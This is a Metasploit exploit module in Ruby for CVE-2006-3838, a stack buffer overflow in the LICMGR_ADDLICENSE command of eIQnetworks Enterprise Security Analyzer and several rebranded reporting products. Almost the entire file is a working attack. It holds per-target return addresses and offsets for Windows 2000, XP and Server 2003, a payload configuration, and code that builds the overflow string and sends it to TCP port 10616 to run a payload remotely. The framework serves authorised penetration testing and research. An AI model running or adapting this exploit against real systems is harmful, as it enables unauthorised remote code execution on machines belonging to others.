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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in eIQnetworks
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          Enterprise Security Analyzer. During the processing of
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          long arguments to the LICMGR_ADDLICENSE command, a stack-based
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          buffer overflow occurs. This module has only been tested
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          against ESA v2.1.13.
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        },
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        'Author' => [ 'MC', 'ri0t <ri0t[at]ri0tnet.net>', 'kf' ],
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        'References' => [
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          ['CVE', '2006-3838'],
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          ['OSVDB', '27526'],
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          ['BID', '19163'],
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          ['ZDI', '06-024'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => 400,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ],
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          ['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 494 } ], # call ebx
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          ['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 494 } ],	# jmp ebx
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          ['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 494 } ], # jmp EBX
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          ['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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          ['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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          ['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ],
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          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ],
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          ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2006-07-24',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(10616)
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      ]
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    )
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    filler = rand_text_english(1) * (target['Offset'] - payload.encoded.length)
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    sploit = "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') + "&";
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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